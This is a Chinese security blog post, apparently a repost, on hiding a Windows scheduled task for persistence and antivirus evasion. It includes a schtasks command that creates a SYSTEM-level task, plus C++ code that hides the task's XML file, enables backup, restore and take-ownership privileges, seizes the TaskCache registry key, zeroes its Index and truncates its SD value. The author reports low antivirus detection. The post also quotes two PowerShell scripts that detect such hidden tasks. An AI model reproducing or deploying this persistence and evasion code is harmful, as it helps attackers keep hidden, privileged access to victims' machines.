简单的计划任务免杀

admin 2025年3月11日08:26:28评论4 views字数 9914阅读33分2秒阅读模式
文章作者:先知社区(Arcueid)

文章来源:https://xz.aliyun.com/news/15168

计划任务

核晶环境下拦截严格度从高到低以此为 sc -> 注册表 -> 计划任务

这里我们就来实现一下难度较低的计划任务 来做权限维持

常见的维权命令

schtasks /create /sc minute /mo 1 /tn "mysqlstart" /tr c:windowstest.exe /ru system
直接加会在 %SystemRoot%System32Tasks 留下相关的xml文件
简单的计划任务免杀

里面记录了相关的配置信息

删除改xml后计划任务依旧生效

注册表

计算机HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionScheduleTaskCacheTree
简单的计划任务免杀

修改index为0后达到隐藏的效果 修改后计划任务依旧生效

taskschd.msc中不可见

简单的计划任务免杀

知道名字的话还是可以通过schtasks来查询的

而当删除SD后只能通过注册表来排查 如果计划任务的名称取的好是比较难排查的

简单的计划任务免杀

实际上并不是 可以通过powershell找没有SD项的注册表地址

意大利的猫师傅的脚本

$registryPath = "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionScheduleTaskCacheTree"# 定义函数来递归获取子项并打印没有 "SD" 项的子项的注册表地址function Get-SubKeysWithoutSD($path) {    $subKeys = Get-ChildItem -Path $path -ErrorAction SilentlyContinue    foreach ($subKey in $subKeys) {        $subKeyPath = Join-Path -Path $path -ChildPath $subKey.PSChildName        $sdValue = Get-ItemProperty -Path $subKeyPath -Name "SD" -ErrorAction SilentlyContinue        if ($null -eq $sdValue) {            Write-Output $subKeyPath        }        Get-SubKeysWithoutSD -Path $subKeyPath    }}# 调用函数开始递归获取子项Get-SubKeysWithoutSD -Path $registryPath
简单的计划任务免杀
所以这里考虑修改SD 修改SD后再查询会爆拒绝访问
简单的计划任务免杀
意大利的猫师傅给出的脚本
$start = Get-Date$basePath = "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionScheduleTaskCacheTree"# 获取所有计划任务$tasks = Get-ChildItem -Path $basePath -Recurse# 创建一个空的数组来存储找到的计划任务信息$taskInfo = @()# 遍历计划任务并显示路径和名称foreach ($task in $tasks) {    $taskPath = $task.PSPath.Replace("Microsoft.PowerShell.CoreRegistry::", "")    $taskName = $task.Name.Replace("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionScheduleTaskCacheTree", "")    $exePath = "schtasks.exe"    $arguments = "/query /tn ""$taskName"""    # 执行可执行文件    $process = Start-Process -FilePath $exePath -ArgumentList $arguments -NoNewWindow -PassThru -RedirectStandardOutput "stdout.txt" -RedirectStandardError "stderr.txt" -Wait    # 读取执行结果    $exitCode = $process.ExitCode    # $stdout = Get-Content "stdout.txt"    $stderr = Get-Content "stderr.txt"    if ($stderr -and $stderr.Contains("错误: 拒绝访问。")) {        $taskInfo += [PSCustomObject]@{            "TaskName" = $taskName            "RegistryPath" = $basePath + $taskName        }    }}# 将计划任务信息以表格形式显示$table = $taskInfo | Format-Table -AutoSize | Out-String -Width 500Write-Host $table$end = Get-DateWrite-Host -ForegroundColor Red ('Total Runtime: ' + ($end - $start).TotalSeconds)
简单的计划任务免杀

代码实现

自动化实现上面所说的行为

初始化 COM 并设置常规 COM 安全性

HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);;    hr = CoInitializeSecurity(        NULL,                             // 安全描述符        -1,                               // 应用程序中可供 COM 使用的身份验证服务数量        NULL,                             // 指向身份验证服务数组的指针        NULL,                             // 保留值,通常为 NULL        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,    // 默认的身份验证级别        RPC_C_IMP_LEVEL_IMPERSONATE,      // 默认的模拟级别        NULL,                             // 处理自定义身份验证        0,                                // 额外的标志        NULL                              // 保留值,通常为 NULL    );

随机选取计划任务名并创建计划任务

随机从当前计划任务名中选取一个 并拼接上(Manual)

根据msdn的自己改改

https://learn.microsoft.com/zh-cn/windows/win32/taskschd/time-trigger-example--c---

bool CheckRegistryForTaskCreation() {    HKEY hKey;    DWORD dwDisposition;    LONG lResult = RegCreateKeyEx(        HKEY_LOCAL_MACHINE,        charToLPCWSTR("SOFTWARE\microsoft\DXR"),        0,        NULL,        0,        KEY_ALL_ACCESS,        NULL,        &hKey,        &dwDisposition    );    if (lResult != ERROR_SUCCESS) {        ShowErrorWithCode("Error creating/opening registry key", lResult);        return false;    }    if (dwDisposition == REG_CREATED_NEW_KEY) {        DWORD value = 1;        RegSetValueEx(hKey, charToLPCWSTR("TaskCreated"), 0, REG_DWORD, reinterpret_cast<BYTE*>(&value), sizeof(value));        RegCloseKey(hKey);        return true;    }    else {        DWORD value = 0;        DWORD valueSize = sizeof(value);        lResult = RegQueryValueEx(hKey, charToLPCWSTR("TaskCreated"), NULL, NULL, reinterpret_cast<BYTE*>(&value), &valueSize);        RegCloseKey(hKey);        return value == 0;    }}
这里写注册表 防止重复注册
bool CheckRegistryForTaskCreation() {    HKEY hKey;    DWORD dwDisposition;    LONG lResult = RegCreateKeyEx(        HKEY_CURRENT_USER,        charToLPCWSTR("SOFTWARE\DXR"),        0,        NULL,        0,        KEY_ALL_ACCESS,        NULL,        &hKey,        &dwDisposition    );    if (lResult != ERROR_SUCCESS) {        // ShowErrorWithCode("Error creating/opening registry key", lResult);        return false;    }    if (dwDisposition == REG_CREATED_NEW_KEY) {        DWORD value = 1;        RegSetValueEx(hKey, charToLPCWSTR("TaskCreated"), 0, REG_DWORD, reinterpret_cast<BYTE*>(&value), sizeof(value));        RegCloseKey(hKey);        return true;    }    else {        DWORD value = 0;        DWORD valueSize = sizeof(value);        lResult = RegQueryValueEx(hKey, charToLPCWSTR("TaskCreated"), NULL, NULL, reinterpret_cast<BYTE*>(&value), &valueSize);        RegCloseKey(hKey);        return value == 0;    }}
选择的目录是HKEY_CURRENT_USER下的 不需要administrators权限就可以写

隐藏计划任务对应xml文件

void HideFile(){    if (!g_taskName.empty()) {        std::wstring basePath = TEXT("C:\Windows\System32\Tasks\");        std::wstring finalPath = basePath + g_taskName;        LPCWSTR lpFinalPath = finalPath.c_str();  // 转换为 LPCWSTR        DWORD currentAttributes = GetFileAttributes(lpFinalPath);        // 设置文件属性为隐藏和系统文件        if ((currentAttributes & (FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)) != (FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)) {            SetFileAttributes(lpFinalPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);        }    }}
简单的计划任务免杀

获取特权模式

BOOL SetPrivilege(LPCWSTR privilege){    // 64-bit only    if (sizeof(LPVOID) != 8)    {        return FALSE;    }    // Initialize handle to process token    HANDLE token = NULL;    // Open our token    if (NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token) != 0)    {        return FALSE;    }    // Token elevation struct    TOKEN_ELEVATION tokenElevation = { 0 };    DWORD tokenElevationSize = sizeof(TOKEN_ELEVATION);    // Get token elevation status    if (NtQueryInformationToken(token, TokenElevation, &tokenElevation, sizeof(tokenElevation), &tokenElevationSize) != 0)    {        NtClose(token);        return FALSE;    }    // Check if token is elevated    if (!tokenElevation.TokenIsElevated)    {        NtClose(token);        return FALSE;    }    // Lookup the LUID for the specified privilege    LUID luid;    if (!LookupPrivilegeValue(NULL, privilege, &luid))    {        NtClose(token);        return FALSE;    }    // Size of token privilege struct    DWORD tokenPrivsSize = 0;    // Get size of current privilege array    if (NtQueryInformationToken(token, TokenPrivileges, NULL, NULL, &tokenPrivsSize) != 0xC0000023)    {        NtClose(token);        return FALSE;    }    // Allocate memory to store current token privileges    PTOKEN_PRIVILEGES tokenPrivs = (PTOKEN_PRIVILEGES)new BYTE[tokenPrivsSize];    // Get current token privileges    if (NtQueryInformationToken(token, TokenPrivileges, tokenPrivs, tokenPrivsSize, &tokenPrivsSize) != 0)    {        delete tokenPrivs;        NtClose(token);        return FALSE;    }    // Track whether or not token has the specified privilege    BOOL status = FALSE;    // Loop through privileges assigned to token to find the specified privilege    for (DWORD i = 0; i < tokenPrivs->PrivilegeCount; i++)    {        if (tokenPrivs->Privileges[i].Luid.LowPart == luid.LowPart &&            tokenPrivs->Privileges[i].Luid.HighPart == luid.HighPart)        {            // Located the specified privilege, enable it if necessary            if (!(tokenPrivs->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED))            {                tokenPrivs->Privileges[i].Attributes |= SE_PRIVILEGE_ENABLED;                // Apply updated privilege struct to token                if (NtAdjustPrivilegesToken(token, FALSE, tokenPrivs, tokenPrivsSize, NULL, NULL) == 0)                {                    status = TRUE;                }            }            else            {                status = TRUE;            }            break;        }    }    // Free token privileges buffer    delete tokenPrivs;    // Close token handle    NtClose(token);    return status;}
SetPrivilege(SE_RESTORE_NAME);SetPrivilege(SE_BACKUP_NAME);SetPrivilege(SE_TAKE_OWNERSHIP_NAME);

更改注册表所有者权限

void SetRegistryKeyOwnerAndPermissions(const std::string& keyPath) {    PSID pSid = NULL;    SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY;    if (!AllocateAndInitializeSid(&SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID,        DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pSid)) {        return;    }    // 使用 SetNamedSecurityInfoA 设置所有者    DWORD result = SetNamedSecurityInfoA(        const_cast<LPSTR>(keyPath.c_str()), SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION,        pSid, NULL, NULL, NULL);    PACL pOldDACL = NULL, pNewDACL = NULL;    PSECURITY_DESCRIPTOR pSD = NULL;    result = GetNamedSecurityInfoA(        keyPath.c_str(), SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION,        NULL, NULL, &pOldDACL, NULL, &pSD);    EXPLICIT_ACCESS ea;    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));    ea.grfAccessPermissions = KEY_ALL_ACCESS;    ea.grfAccessMode = SET_ACCESS;    ea.grfInheritance = NO_INHERITANCE;    ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;    ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;    ea.Trustee.ptstrName = (LPWSTR)pSid;    result = SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL);    result = SetNamedSecurityInfoA(        const_cast<LPSTR>(keyPath.c_str()), SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION,        NULL, NULL, pNewDACL, NULL);    LocalFree(pSD);    LocalFree(pNewDACL);    FreeSid(pSid);}
否则无法修改值

修改Index为0

void ModifyIndex(const std::string& keyPath, DWORD newValue) {    HKEY hKey;    LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, KEY_SET_VALUE, &hKey);    //if (result != ERROR_SUCCESS) {    //    ShowErrorMessageBox("Error opening registry key");    //    return;    //}    result = RegSetValueExA(hKey, "Index", 0, REG_DWORD, reinterpret_cast<BYTE*>(&newValue), sizeof(DWORD));    //if (result != ERROR_SUCCESS) {    //    ShowErrorMessageBox("Error setting registry value");    //}    //else {    //    MessageBoxA(NULL, "Registry value updated successfully", "Success", MB_ICONINFORMATION | MB_OK);    //}    RegCloseKey(hKey);}

修改SD为原来的一半

void ModifySD(const std::string& keyPath) {    HKEY hKey;    LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, KEY_QUERY_VALUE | KEY_SET_VALUE, &hKey);    DWORD dataType;    DWORD dataSize;    result = RegQueryValueExA(hKey,"SD", NULL, &dataType, NULL, &dataSize);    std::vector<BYTE> data(dataSize);    result = RegQueryValueExA(hKey, "SD", NULL, &dataType, data.data(), &dataSize);    // 计算前一半的数据    dataSize /= 2;    std::vector<BYTE> newData(data.begin(), data.begin() + dataSize);    result = RegSetValueExA(hKey, "SD", 0, REG_BINARY, newData.data(), newData.size());    RegCloseKey(hKey);}

完整代码https://github.com/Arcueld/schtasks

效果

运行后添加计划任务 进行xml的隐藏 注册表的更改,2024.7.14 VT 4/74 过火绒 核晶过不了 当时忘记致盲了

简单的计划任务免杀

参考文章

https://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html

https://learn.microsoft.com/zh-cn/windows/win32/taskschd/time-trigger-example--c---

https://github.com/0x727/SchTask_0x727

https://cloud.tencent.com/developer/article/2377196

 

原文始发于微信公众号(七芒星实验室):简单的计划任务免杀

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月11日08:26:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   简单的计划任务免杀https://cn-sec.com/archives/3826148.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息